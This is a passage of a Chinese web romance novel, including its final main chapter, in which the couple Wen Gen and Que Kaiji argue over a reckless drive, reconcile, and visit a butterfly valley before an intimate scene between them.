阕开霁冷笑一声, 怒气操控着他, 让他想告诉闻根,如果今天他真出了意外,自己…… 真想到这个可能, 阕开霁停住,怒火被另一种截然相反的情绪取代。 如果闻根今天真出了意外…… 闻根没戴眼镜看不真切, 只依稀看到阕开霁的表情僵住,也如同一盏冰雕似的,僵在原地。 他什么都没说,但闻根已经知道了。 他反问阕开霁:“那为什么我不可以呢?” = 交警还是过来了, 不知道停在路边的这辆车今天开得多快超了多少车多么劣迹斑斑,只询问车边的两个人:“你们的车吗?” 没等到回答,交警就匆忙说:“这边不让停车,赶紧走啊。” 闻根就摸摸鼻子,道歉后率先上了车。 阕开霁不想让他再开车,拦了下,但被闻根一看,意识到自己今天喝了酒,也就没再拦,跟着坐到副驾驶。 闻根低头摸索寻找不知道被阕开霁丢到哪儿的眼镜,但没带眼镜看不清,眼镜框架又是透明的,找了会儿也没找到,还是阕开霁从夹角里找到,摸出来递给他。 一改过来时的飞速,回去时闻根开得慢吞吞的,蜗牛爬行一样,被身后的车一辆辆超过。 回到小区已经是二十分钟后了。 把车放在地下车库,下车时闻根扫了眼不远处的一个车位。 阕开霁顺着他的目光看过去,主动破冰:“玩游戏时喝了点酒,我就把摩托车放在哪儿自己打车回来的。” 闻根闷闷:“嗯。” “手机是放在外套口袋里,不小心掉在沙发上了,我走的时候没看清,拿了个同款手机,到家想给你打电话才发现拿错了,想回去拿手机,正好看到你的车又走了,才跟上去。” 闻根:“嗯。” 阕开霁停了两秒,试图从自己此刻的情绪中分辨出自己到底想要什么。 分不出来。 但有一件事确实是自己做错了,他道歉:“对不起,刚刚不应该这么凶。” 闻根嘴唇动了动,下意识想说“嗯”,又咽回去,什么都没说。 这大概就还是在生气了。 阕开霁更不知道怎么办了,偏偏电梯到了一楼后又进来些人,阕开霁彻底失去了说话的机会。 这时候刚好是晚饭时间,上上下下的人正是最多的时候,电梯都站满了还有人要上来,把本就被挤到角落里的闻根挤在电梯壁上。 刚刚没发现,现在再电梯壁上这么一撞,被阕开霁拎着压在车门上硌到的后背就开始疼了。闻根几不可查的皱了皱眉。 手就被阕开霁勾了下,肩膀后面多了只手,隔开肩膀和电梯壁。 闻根又抿抿嘴,控制住自己不要看阕开霁。 但等到回了家,看跟着挤进来的阕开霁,还是有点控制不住后怕的,抓住阕开霁的手。 阕开霁反握住他的手。 他此刻依旧觉得抛弃生命追求爱情是非常愚蠢且没有责任心的事,但真看到闻根现在这个样子,愤怒散去后,居然不完全是深恶痛绝的。 闻根声音轻轻的,告诉阕开霁:“我本来都快到家了,广播说那条路上一个骑摩托车的人撞到大货车,当场死亡,警方说摩托车手酒驾。我给你打电话你也不接,再打过去,你朋友说你喝了酒先走了。我也是担心你。” 阕开霁:“我知道。” “但你……” 他没说完,因为那个“但”字刚落下,闻根突然发作了:“你不知道!” 从小学二年级学写作文就知道的事情了,虽然但是,虽然不重要,但是后面接的转折才是讲述重点。 知道就是敷衍自己的,那但字后面要说什么?但你不能这样做,但你不应该因为这么片面的理由就这么担心,还是其他的任何,正确但自己完全不想听的话。 闻根放开阕开霁的手,压了一路的委屈涌上来:“你觉得我不应该这么做。” 阕开霁顿了顿,如实:“对。” 他就是觉得闻根不应该这样做。这也不应该是闻根要做的事情,可能自己可以做,但闻根不可以。闻根就应该做个普通人,普通安稳的过完这一生,就算自己真出意外死去,闻根也可以去找其他人,植根在另一片泥土里,接着好好生活。 没想到阕开霁这么理直气壮说对。闻根眼眶一下就红了:“你对我很差劲!” 阕开霁:“……” 有时候闻根的指责和痛斥真的很没有杀伤力,可此刻他切实感受到心痛。 阕开霁没什么说服力的说:“你本来不会这样。” 闻根:“我本来还不喜欢男人呢。” 阕开霁顿住。 闻根不会吵架,但总能让他说不出争执的话来。就像刚刚,他被闻根一句“你会怎么样”截停,现在他依旧被闻根一句话说得,忘记自己原本想说什么。 指责和劝告都说不出口,一瞬间他也开始怀疑自己。 或许真是自己的错。自己想要闻根是那样的,就不应该改变闻根。更不应该在已经让闻根做出改变后,又愤怒他没做出之前的选择。 闻根像个小炮仗一样,一点上火炸开,就彻底停不下来了:“是你让我做喜欢的事情挑喜欢的东西,我喜欢你!选择你!怎么了?!” “你居然……” 你居然觉得我不应该这么做…… 你怎么可以觉得我不应该这么做。 闻根气疯了,想要谴责阕开霁的行为,但笨嘴拙舌根本不会吵架,现在翻来覆去也只会说:“你怎么可以这样?!” 阕开霁:“对不起。” 闻根:“你的对不起完全没有说服力!你不觉得对不起!” 刚刚在车库就说了对不起不该对自己这么凶,可一点都没想该,到了家里又想说“但你……”了。他一点没觉得对不起,只是敷衍着道歉哄自己而已! 阕开霁自己都没分辨出来这点敷衍,被闻根一句话点出来后,又顿了片刻,按照闻根的逻辑思考自己现在是不是真觉得对不起,得到确定的答案后才说:“这次是真的。” 他有点不理解,想了会儿也没想通,只好问闻根,“你到底在气什么?” ——这时候他不像他,反倒像一开始迟钝不明所以,甚至向罪魁祸首要原因的闻根。 闻根反倒像他,理直气壮还气咻咻的:“你让我挑喜欢的,其他事情都可以,却在最关键的时候让我不要这么做。而且明明你也会这么做,却还要凶我让我不要和你做一样的选择,你真的很……” 闻根想找一个合适的词语来形容,没想到,一时卡住。 阕开霁提醒:“双重标准?” 闻根自己想到了,没用他的提示,接着说:“宽于律己严于待人,只许州官放火不许百姓点灯,口是心非……” 阕开霁打断他滔滔不绝的谴责:“以后不会了。” 闻根激动:“我不信!” “我以后不会再做危险的事情,照顾自己尽量活得久一点,就算真的死在你前面,人死灯灭你想做什么我也拦不住。” 闻根听到他说着话又要生气——阕开霁现在这些话的底层逻辑分明还是不赞同,但死都死了就管不着了。而且他居然还假设自己真死掉的场景!闻根刚刚的后怕又开始翻涌,连同怒火一起,又要发作。 阕开霁话题一转:“今天对你这么凶确实是我不对,但你也体谅我一下。我喝了点酒拿错手机回家,想回去把手机换回来给男朋友打电话问一下妈妈生日过得怎么样,礼物喜不喜欢吃了什么饭,一出去发现男朋友开车跟不要命一样,擦着人家车边超车差点出意外。你因为捕风捉影的猜测就这么担心,我就在后面看着呢,我不担心?” 跟个被针戳了口子的气球一样,闻根意识到什么,整个人都蔫了。 阕开霁关注着他的状态,乘胜追击:“你还跟我叭叭犟,说什么为什么不可以不应该之类的话。” 闻根:“……” 阕开霁:“我也很担心你。” 闻根低头,心虚:“对不起。” 但转念一想,看阕开霁,“但你一直跟在我后面,你也超车……” 阕开霁:“对不起。” 闻根就把剩下的谴责咽回去了。 房间再次安静下去,一如刚刚回来时车里冷静凝固的氛围。 闻根脑子乱乱的,有种自己好端端生活了二十五年突然发现自己变异了的诡异感,这种不可置信感在他第一次梦到Qamar发现自己喜欢男人时出现过,可现在比那次还要更明显。刚刚说的言之凿凿,现在冷静下来去想,也觉得那时候自己怎么那么蠢又那么冲动……阕开霁生气好像也是应该的。 吵完架发现对方是对的,似乎就代表着自己就是错了。但闻根想来想去,也不觉得自己做错了。自己一开始又不是因为阕开霁凶自己才生气的,是他否定自己之后才开始生气的。 自己也没错。 闻根开始分条缕析慢慢盘争吵背后的逻辑,而阕开霁斜斜看着他,眼看他镜片后面的眼睛逐渐呆滞,似乎在想什么很重要的东西,莫名有点担心他钻牛角尖,想要转移话题把这件事翻篇,还没开口,闻根的手机先响了。 是闻妈妈打开的电话,询问他到家了没有。 闻根回答:“到家了。” 闻妈妈:“你怎么就把燕窝拆开泡上了?” ——怕妈妈不想收阕开霁送的礼物,闻根把燕窝收到柜子里,但又怕妈妈就这么放着眼不见为净不吃,又先斩后奏的拆开用水泡上了。这都是他和阕开霁学的,之前阕开霁面对自己时,就经常自顾自做些事情,一开始自己觉得不能接受,但阕开霁真做了,他又觉得其实也没什么,就这么接受了。现在面对把自己状态差不多的爸妈,就如法炮制,用相同的手段应对。 现在妈妈打电话过来问,闻根满脑子还是阕开霁,低声应:“嗯,你吃嘛。” “用什么水泡的?要用矿泉水,不能用自来水的。” “嗯,就是矿泉水。你炖一下就好了,吃嘛。” 虽然还没真正意义上和闻根所谓的男朋友认识,但第一次见面就被帮助了,现在又吃人嘴短,再加上知道自己这个儿子现在对认定的事情有多倔,闻妈妈实在也不好再充耳不闻装聋作哑了。她叹了口气,问:“真的就是他了吗?” 身边就是阕开霁,刚刚误以为对方出意外后的慌张和紧张还在身边萦绕,随时会趁虚而入把他拉回当时的心绪里。 闻根细细分辨,坚定:“就是他了。” = 阕开霁的朋友来给他送手机——找到闻根后他倒是不急了,忙着和闻根吵架。但他不是没拿手机,而是拿错了手机,朋友的手机在他手里,实在忍不了,带着他的手机和摩托车找过来了。 朋友在这边认认真真敲阕开霁家门,敲了一会儿也没见人,忍无可忍要给自己手机打电话。 还没拨出去,邻居家门打开了,阕开霁面无表情看着他。阕开霁身后,还有个戴眼镜的男人,镜片后面一双眼黑漆漆的,同样看着他。 朋友对上这两双眼,先愣了下,随后乐了。总算知道那一个眼镜一只小鱼的备注是谁了。 他把阕开霁的手机递过去,问:“我的手机呢?” 阕开霁在兜里摸了摸,没摸到,回身去沙发上找。 门口,闻根和朋友面面相觑,试探邀请:“要不进来坐坐,喝杯水。” 朋友有点好奇,也就进来了。 闻根烧了水拿新杯子给他倒蜂蜜水,又倒了一杯。还想倒第三杯时,阕开霁拉着他的手把他拉到自己身边坐下,把那杯蜂蜜水放到他手里了。 朋友看着他们叠在一起的手,问:“这位眼镜鱼先生是……” 闻根下意识张嘴想回答邻居——刚刚朋友还在敲隔壁阕开霁的房门,回答邻居体面一点。 但阕开霁一张嘴就是:“我老公。” 闻根脸颊红红,把邻居二字咽下去,温吞点头认同。 朋友心里早就有了这个答案,毕竟能让阕开霁搞个那么花哨的备注又那么担心,重要性和特殊性都不言而喻。想到阕开霁会说“爱人”“男朋友”之类的,但也被阕开霁一句“我老公”弄得震惊:“哦。” 阕开霁不满意他这个反应,看了他一眼。 朋友秒懂,夸张:“哦~” 一个“哦~”语气拉得很长,声音满是荡漾,他站起来,佝偻着背去握闻根的手,握住了就上下摆动,语气谄媚,“是弟夫啊,你好你好!” 闻根脸颊更红了,连连点头:“你也好。” 阕开霁还在因为闻根的危险举动担心,又因为刚刚的争吵懊恼,现在属实是个情绪敏感很难高兴的状态。朋友反应冷淡不满意,太谄媚了也不满意。 他拍开朋友的手,把闻根的手牢牢牵住。 朋友只好又回去坐下,跟闻根吐槽了几句阕开霁,赞扬他愿意和阕开霁在一起的无私大度宽容精神,把闻根夸得非常不好意思,但还是一本正经纠正朋友,阕开霁也很好,能和阕开霁在一起自己也很开心。 阕开霁这种人怎么还能遇到这样的恋人。 朋友羡慕到眼红,被一波波的狗粮砸到坐不住,起身告辞,离开前告诉阕开霁:“你的摩托车也给你带过来了。” 闻根在一边脸色一下就变了:“你不是喝酒了吗?” 阕开霁的眼神也跟着变了,冷飕飕的看着他。警告:“我老公可是非常遵纪守法的,尤其是交通法,你如果干出这种事他举报你我可不拦着。” 闻根没忍住,拍了他一下。 朋友连连摆手:“我叫的车。” 想到这里他愣了下,拿起蜂蜜水一饮而尽,“对了,司机还在楼下等我呢,你把摩托车弄下来,我得赶紧回去赶下一场了。” 三个人下楼把摩托车放到车库里,朋友离开前询问他俩:“一起玩去?” 闻根没说话,看阕开霁。 阕开霁摇头:“不去。” 朋友看看阕开霁,再看闻根,知道答案很确定,还是打趣似的问:“真不去?你今天说味道不错的那个酒,再给你开两瓶。” “你赶紧走吧。” 朋友吹了个口哨,头也不回的离开了。 而还站在原地的阕开霁偏头,对上闻根看过来的视线。 闻根问:“那个味道不错的酒是哪个?” 阕开霁:“我买了只新的,在家里,等会儿给你开。” 闻根愣愣点头,再上去时就跟着到了阕开霁家里。 阕开霁拿了杯子,把酒拆开,给闻根倒了一杯。 白葡萄酒晶莹剔透,度数很高,带着葡萄皮的涩味,冲得闻根忍不住皱起鼻子,但缓过来就能尝到淡淡回甘,还有隐隐茉莉香。 说不上好喝还是不好,闻根很难描述这个味道,只是觉得。啊,果然是阕开霁会喜欢的酒。 他就这么一口口抿着。 倒是阕开霁看他被酒精润湿的嘴唇,开口:“我不会再在你不知道的时候喝酒了。” 闻根咂摸着葡萄酒带着茉莉香的尾调,就这么看着阕开霁,好一会儿,坐到阕开霁身边,凑过去亲了下阕开霁的嘴唇。 就是很轻的一下,发出“啾”的一声。 亲一下后他又坐直,好像刚刚什么都没做一样,一边抿酒,一边用喝完酒后湿漉漉的眼睛看阕开霁。 依旧是死鱼眼,水波涟然似乎溢满期待。 阕开霁的思绪因此中断,两秒后接着说:“也不会在你不知道的时候骑摩托车或者做其他危险的事情了。” 闻根又凑过来“啾” 了一口。 阕开霁看他,他又老老实实坐在那边抿酒,眼睛还是看着他。 还不满意? 于是阕开霁接着说:“不会让你找不到我,有事及时报备。” 闻根又凑过来亲他,然后接着看他。 阕开霁想要接着说些会让他这么凑过来眼睛亮晶晶亲自己的话,但想来想去,干巴巴保证:“会好好吃饭早睡早起健康生活。” 非常俗套。 但闻根还是亲了他一口,还是这么看他。 阕开霁思索,不甚确定:“那我重新上高中考大学,三十五岁之前考进你们单位和你当同事,一直在你眼皮子底下?” 这次闻根没亲他,抿着自己湿漉漉的嘴唇,提出重点:“你不都二十九岁了吗?” 阕开霁:“啊。” 闻根一板一眼掰着手指头算,在他掰到第七根手指时,阕开霁拉住他的手制止了他的动作。 闻根很顺从的被他拉着,仰头看他,嘴唇动了动:“而且你有纹身,考不了。” 阕开霁:“……” 实在不想听他再说这些有的没的,他低头亲过去,问:“到底想听我说什么?” 闻根:“没……没什么。” “那刚刚那样亲我,亲完还那么看我。” 闻根羞赧:“想……” “想亲你。” 第57章【正文完结】 第57章 正文完结 抓住了 又是一年春末, 凌霄花藤爬满整个篱笆墙,羞羞怯怯开了几个骨朵。 一墙之隔,橘色夕阳照着空气中的尘埃,有只小小的蝴蝶从打开的窗子里飞过来, 在房间里飞了几圈, 最后停在电脑前的男人肩上。 男人带着透明框眼镜, 白T黑裤勾勒出修长身形, 敲键盘的左手无名指带着枚银戒指。认真工作的他突然从电脑屏幕的倒映中看到肩头这只小蝴蝶。 洁白的一只, 柔软可爱。 男人伸手要拿手机, 拍照记录下来这一刻。但还没打开相机,肩膀上的蝴蝶就飞走了。 没拍到照片, 不过也没关系。 他点开其中一个联系人, 打字:“办公室飞过来一只蝴蝶, 刚刚落在我肩膀上了。” “什么蝴蝶, 给我看看。” “没拍到, 飞走了。” “飞走了就好,好好上班别想着招蜂引蝶。” 瞎说什么, 招蜂引蝶怎么可以这么用。 男人内心有点埋怨, 忍不住发了个叉腰生气的表情包。 身边同事起身接水,不经意间看到他的表情,问:“怎么了小闻, 什么事笑得这么开心?” 闻根好像这才意识到自己在笑,抿了抿嘴, 解释:“刚刚有个蝴蝶飞过来了。” 同事笑:“多大了,还开始喜欢蝴蝶了。” 闻根笑:“嗯。” 同事也没有刨根问底的习惯,接了水重新回去工作,忙完手头的事情, 随口问:“周末要什么好玩的地方吗?孩子留了个观察大自然的作业,除了动植物园海洋馆还有什么好去的吗?” 闻根提议:“去湿地公园看看?四月多的时候候鸟都飞回来了,很多鸟类。” “或者去野外露营,马上要到汛期了,小溪里会有很多小鱼。” “小闻现在很会玩啊,去年这时候每天下了班都是回家做饭玩手机,现在还知道候鸟迁徙知道野外露营,怪不得每天下班都这么期待呢。” 闻根不好意思笑了下,这时候就又和一开始那样温吞呆板,看上去一副只会认真工作毫无兴趣爱好生活无趣的样子。好像根本不会去野外露营,不会周末花一整天时间跟着候鸟到处跑,不会偷偷去考摩托车驾驶证。 同事仔细问湿地公园的位置和开放时间,又问了野外露营的一些事情,把闻根讲述的重要信息记下,决定周末带孩子去玩玩。 把长长的备忘录记下来,她又问:“明天又周末了,这周你去哪儿玩啊?” 闻根回答:“蝴蝶谷。” 同事随手在搜索引擎上打下这三个字,点击搜索,看到地点后疑惑:“有点远吧,两天的时间够吗?” “我们今天就走。” 同事也再问什么,下了班还在收拾东西,就看身边的闻根拎着东西冲出去。 等到同事收拾好东西走到单位门口,正好看到闻根打开车门坐到副驾驶的位置。车窗带着防偷窥膜看不到任何东西,但很奇怪的,车没有马上离开,而是在原地停了大概一分钟,才缓缓驶出去。 不是闻根家的方向,而是……往机场的方向。 周五下班甚至没回家,阕开霁帮闻根把行李收拾好,带着行李来单位门口接上闻根,直接去机场登机。 等下了飞机也已经是深夜。 在机场附近的酒店睡了一晚,第二天更换交通工具接着赶路,等真正到地方已经是第二天下午了。 在路上这么久,盘绕曲折的山路让闻根难得有点晕车,精神萎靡。但真到了地方,一下车就被高浓度负氧离子打了针鸡血。 空气清新得让他觉得自己像是个多年鼻炎患者突然治愈,心旷神怡。触目不再是都市高楼大厦,而是郁郁葱葱的竹林、各色鲜花,还有空中飞舞着的蹁跹蝴蝶。 不是蓝色闪蝶,最多的是箭环蝶,褐色如同枯叶,但仔细看能看到翅膀上还带着黑色斑点,非常可爱。 蝴蝶实在是太多了,天然知道这就是它们的地盘,并不畏惧人类,围着蹲在地上的闻根起舞,偶尔停在闻根眼镜架上,感受到闻根的呼吸,又轻飘飘飞起来。 闻根却好像是自己动作才吓跑了蝴蝶一样,有些僵硬偏头看阕开霁。 阕开霁今天穿了件深棕色衬衣,站在蝴蝶堆里,仿佛也变成了一只蝴蝶。但这只蝴蝶没有到处飞舞也不会被吓跑,就站在闻根身边一眼就能看到的位置,灰蓝色眼睛一眨不眨看着闻根。 越过空中飞舞的无数只蝴蝶,闻根走过去牵住阕开霁的手,轻飘飘说:“好漂亮啊。” 不知道是说此刻的景色,还是说此刻站在身边的人。 = 到底还是有点不舒服,两人先行去了民宿房间,老板看闻根蔫蔫的,询问他怎么了。得知是晕车了,大手一挥让他们先去房间休息,自己给他煮一个秘制的缓解晕车特效茶水。 民宿是坐落在山里的一个个小木屋,外面看上去像童话故事里的小屋,里面的装修非常朴素简单,但有着大大的落地窗和阳台,阳台上摆着秋千架和喝茶用的小几,坐在阳台上看过去,竹林葱郁,鲜花团簇,林间蝴蝶蹁跹。 秋千是竹编的,里面放了软垫和玩偶,看上去软绵绵的,但茶几配的椅子又矮又硬,阕开霁根本没多分辨,自顾自坐到秋千上,然后看着站在原地看风景的闻根,等闻根也看过去,两人对上视线后,他带着闻根的视线放到自己大腿上,无声催促闻根坐过来。 闻根先看向那修长结实的大腿,死鱼眼又木木的往上扫,看链接秋千和木架的锁链,几分犹豫:“会不会太重了?” ——阕开霁身高一米九二,穿着衣服看上去瘦长一条,实际上身高摆在这里,再加上身上全是肌肉,怎么也算不上轻。现在窝在秋千里,占满了全部位置,闻根甚至觉得他一个人坐着都不够。 阕开霁叹气:“以为我是女生的时候没觉得我胖,现在知道是男人了,还开始对我的体重指手画脚了。” 闻根辩解:“没有!” 阕开霁啧了声:“狡辩。” 闻根:“……” 阕开霁又扫了眼自己的大腿,催促。 闻根走过去,还没下定决心要坐,就被阕开霁揽住腰一用力,箍着腰放到大腿上。 秋千吱呀一声,左右不定开始摇晃。闻根的晕车劲还没缓过去,被这么一晃又开始难受,慌张去掰阕开霁的手:“我下去。” 阕开霁松手,闻根快速跳下去,解释:“有点晕。” 阕开霁看上去并不愿意接受这个理由,但房间门被敲响,和闻根对视一眼,也没再追问,从秋千上站起来,去开门了。 而闻根看着他离开的背影,再看看因为他离开而不停摇晃的秋千,慢吞吞走过去,把秋千扶稳,轻轻坐上去。 等阕开霁端着老板送来的缓解晕车的特效茶水过来时,看到的就是窝在沙发上看蝴蝶的小鱼。 闻根把腿放在地上坐支撑,秋千稳稳当当停在空中,一动不动。而闻根坐得直直的,手放在背后摸着被阕开霁体温熏得暖融融的玩偶。 阕开霁走过去,干脆没让闻根动手,把杯子递到他嘴边。 明明杯子就在眼皮子底下,但闻根下意识看阕开霁:“什么?” 阕开霁:“调理晕车的中药。” 闻根抿了一口。 生姜陈皮茶。 生姜辛辣,陈皮带着淡淡的清苦,不难喝,但确实把晕车的难受劲都压下去了。 闻根喝掉大半杯,感觉好一点了就没再喝了。 阕开霁顺手把剩下的喝掉。哪怕之前已经喝过中药,但归根结底还是不习惯这种复杂味道,哪怕只是简单的生姜陈皮,也忍不住皱起眉头。 触目看过去,蝴蝶飞舞环绕,清风袭来竹枝飘摇,而闻根只是看着阕开霁,看他皱起来的眉头,在口袋里摸了摸,问阕开霁:“要吃薄荷糖吗?” 阕开霁摇头:“不。” 闻根就自己吃了。 阕开霁时常觉得闻根对这种奇怪味道的接受能力很强,很是敬佩。又总是疑心他现在接受能力这么强是之前喝中药练出来的,询问:“那个茶味道怎么样?” 毕竟也是老板的好意,闻根给出肯定的答案:“很有效果。” 自己问的明明是味道,很有效果是什么回答。 阕开霁又觉得闻根呆了,不过想到他刚刚晕车时难受的样子,没说什么。 又在房间休息一会儿,傍晚在本地人的指引下到附近最适合看蝴蝶的地方转了转。 山径小路,蝴蝶趴在地上宛如一片片枯叶,可一旦落脚,枯叶就飞舞起来,几乎像蝴蝶造就的风,把两人卷进去。 很震撼的场景。 勾着人忍不住往里走,看到更多。一直到天色蒙蒙黑,怕再晚了看不到路出现意外,两人才回去。 民宿附近的小路上亮着灯,广播里正在播有关蝴蝶的内容,播音员说着箭环蝶是雄性先破茧羽化,而雌性破茧羽化时,已经身强体壮的雄性就会收在雌性蝴蝶的茧旁边,等待雌性破茧就会扑上去…… 广播里两个字还没播出来,两人莫名其妙对上视线。 广播还在继续,非常正经的科普。但闻根就这么看着阕开霁,在注意到阕开霁眼底的戏谑后,红了耳根。 本来这事根本没什么,但就这么对上眼,之后闻根还红耳朵,于是也变得有事起来了,阕开霁问:“你脸红什么?我是雌性吗?” 闻根想要解释,还没开口,身后传来民宿老板的声音。 老板骑着辆三轮车走过来,没听到他们刚刚在说什么,只是看到人了,大声招呼:“回来了?” 没说完的话也就不好开口了,闻根只仓促对阕开霁摇了下头,然后转身和老板打招呼,有点腼腆的点头。 老板骑着三轮车,车上是好几个塑料罐,罐子里是紫色液体,有蝴蝶趴在罐子上,怎么都不肯走。在闻根身边停下车,老板招呼:“回去吗?上来,我载你们。” 于是搭着老板的顺风车回去。 山间湿润的清风吹在脸上,很是舒适。 老板关心询问:“晕车好一点了吗?” “好多了,谢谢你。” “我就说是秘制特效药吧。” 闻根笑了笑算是回答,看蝴蝶一窝蜂的挤在罐子瓶盖处,有些好奇的伸手抓了一只。蝴蝶太多,居然也真给他摸到了。坚硬又脆弱的翅膀在他手心扫着,闻根手心一痒松了手,蝴蝶就飞走了。 阕开霁问:“罐子里是什么啊?” “我们本地一种紫米酿成的米酒,叫蝴蝶酿,很好喝,蝴蝶也喜欢,闻到这个味道就不肯走,等回去你们也尝尝。” 于是回去后又蹭了杯酒,闻根品尝时,真有蝴蝶飞过来停在杯口,贪婪的尝着。 闻根忍不住又想伸手,但想到蝴蝶翅膀在手心扫动的感觉,还是没动。 吃完饭就带着老板送的蝴蝶酿和新鲜水果回去,吃了两颗樱桃,一低头发现有蝴蝶飞过来,趴在樱桃核上,吮吸着残留的果汁。 阕开霁窝在秋千里玩手机,感觉到秋千摇摇晃晃,想到些乱七八糟的。 他执行力强,在想到这些时就打开软件开始寻找并积极落实。弄完一切,才发现闻根不知道什么时候坐在自己身边,注意到他收起手机,询问:“你买秋千干什么?” 阕开霁上上下下扫过他,皮笑肉不笑:“回忆下童年。” 他在跑火车,不过闻根向来很相信他,现在想到阕开霁的童年,更是有点心疼,当即不说话了,把手里洗干净的樱桃递过来。 阕开霁吃了两颗,才发现闻根不知道什么时候把垃圾桶放在秋千旁边了,现在蝴蝶围在垃圾桶旁边上下飞舞,连带着他身边都是蝴蝶。 他伸出长腿,把垃圾桶踢远了些。 闻根很快又把垃圾桶挪到他身边。 阕开霁看闻根——因为买了那个秋千,想到会用秋千做些什么,心情非常不错,现在抱着点到时候都会教训回来的想法,并没有生气,而是询问:“干什么?” 闻根:“垃圾桶里有果核,蝴蝶会飞过来。” 阕开霁:“放到那边蝴蝶一样会飞过来。” 但不一样,放到秋千这里,蝴蝶都会围着阕开霁飞。 闻根一本正经解释:“放在这里蝴蝶都围着你飞,很像还珠格格里面的香妃。” 阕开霁:“……” 他动了动,秋千跟着摇晃不定,阕开霁想到只有两天的旅途,想到今天来回奔波和辛苦和明天就要赶飞机回去的辛苦,把这件事先按下不提。 = 第二天上午又去逛了逛,买了些特产,下午赶飞机回去。 到家已经很晚很晚了。 飞机遇上颠簸,闻根有点难受,回来的路上又开始晕车。回家后他先去洗澡,洗完澡出来发现阕开霁煮了生姜橙皮茶。 家里没有陈皮,阕开霁临时叫外卖买的橙皮,橙子肉剥开放在一边,橙皮和生姜在小锅里煮着,散发出清甜的味道。 闻根看着锅里翻腾的姜片和橙皮,忍不住翘了翘嘴角。 阕开霁舀了一勺尝了尝,还是不习惯这个味道,把勺子放下,叮嘱闻根:“你看着喝吧,不好喝的话可以加点蜂蜜。” 闻根点头。 阕开霁就去洗澡。 闻根喝了些橙皮水,晕车的劲彻底缓过去,就开始收拾带回来的东西,把一切弄完,又盛了杯橙皮水放到床头,坐到床上看前几天拍的照片,并挑选几张自己觉得好看的,配上BGM剪成视频。 浴室的水声停住,他放下手机抬头看过去。 松松垮垮的睡袍随便披在身上,阕开霁坐到床头,偏头看闻根:“干什么呢?” 闻根把手机递过去:“剪视频。” 其实就是给阕开霁发的那种vlog,按照时间顺序把他觉得很不错可以留作纪念的照片拎出来,拼凑成一个短短的视频。 阕开霁看过去,就着他的手把视频暂停,说:“这张照片换掉吧。” 闻根转过来一看,是一张蝴蝶很多围着阕开霁的照片。 阕开霁不想要:“构图太奇怪了,背景像P上去的。” 闻根也不知道构图什么的,只是根据直觉挑选自己觉得好看的,现在听阕开霁这么说,固执说出自己的意见:“很多蝴蝶啊,像……” 在阕开霁的注视下,他把接下来的话咽下去。 阕开霁接过他的手机,把这张照片删掉,之后就把闻根剪好的vlog发布出去。 一回头发现闻根已经坐起来了,现在捧着杯子在抿生姜橙皮水。 生姜和橙皮的味道袭来,阕开霁疑惑:“味道怎么样?” 阕开霁给煮的,闻根给出很高的评价:“很好喝。” 想到那个味道,阕开霁给不出很好的评价:“你喝中药把味觉喝坏了。” 闻根:“……” 他都还没吐槽阕开霁吃健身餐水煮菜把味觉吃坏了,阕开霁还这么说自己。 把最后一口喝光,闻根不满:“是谁让我喝的啊。” “是谁觉得自己是同性恋还非要调理的啊。” 虽然阕开霁披上中药世家继承人的马甲骗自己,可掀开马甲时阕开霁道了歉自己也说了原谅,更何况他确实也试图制止过,一开始也确实是自己非要调理,说起这件事闻根也不太占理,只好沉默着把杯子放回床头柜,随手把眼镜也摘下来放到一边,掀开被子躺下了。 明晃晃的告诉阕开霁,自己要睡觉了,不想说话。 阕开霁觉得有趣,又抱着点想要翻这两天被打断没来得及翻的旧账的想法,不乐意看他这么睡过去,俯下身来亲他。 舌尖都是生姜橙皮水的味道,没有直接喝时的辛辣味,反而全是橙皮的清甘,阕开霁吻得更深。 哪怕已经在一起很久,亲了那么多次,但每次闻根还是一被亲就会变成死鱼。 等阕开霁退开,他轻轻喘气,好不容易缓过来些许,想要问阕开霁不是不喜欢这个味道吗。但目光一抬,先看到阕开霁身上松松垮垮的宽松睡袍——本来就只用一根带子系着,刚刚俯身亲吻,在被子上蹭了会儿,现在完全敞开了。皮肤白皙,肌肉线条紧实漂亮,哪怕他现在没戴眼镜看不真切,但这么久亲密接触的本能,足以让他在注意到这一点的瞬间,想起肌肉的温度和手感,甚至还有用力时每一次伏动。 天气好像真的热起来了,闻根觉得空气都变得让他喘不过气的闷热。他小口小口喘着气,眼睛眨了几下,控制不住眯眼,试图看得更真切些。 又是这幅鬼迷日眼的模样。 阕开霁掀开他的被子,笑:“老公,要不要试试调理好了没有?” …… 闻根身上单调无趣的黑色睡衣被丢到床下,而阕开霁的睡袍早就滚到闻根身上,在翻滚间滑到臂弯里,和阕开霁结实有力的胳膊一起,紧紧箍着他。让他只能紧紧贴在阕开霁身上,没有一丝缝隙。 哪怕都过去这么久,闻根还是有点对大小没概念,恍惚自己怎么吃下去的。 也完全受不住,阕开霁一动作,就仿佛被生抽去骨头的小鱼,直不起来,但控制不住的痉挛抽动,软绵绵塌在阕开霁肩膀上,借力似的攀住阕开霁的胳膊,手垂在阕开霁背后肩膀。 不间断的动作中,他的手一再下滑,越发模糊的视线里,手指触到那片蓝色。 指尖陷在肩膀肌肤上,手下肌肤湿热柔软,带着一层薄汗。阕开霁掐着他的腰,闻根贴得更紧,终于把那片蓝色全部盖住。 这只蝴蝶不会被水果吸引才来到他身边,在手心里也不用飞不会挣扎,只会随着动作一下下撞到他的掌心,几乎要凿刻进骨血的力度。 闻根紧紧贴上去。 抓住了。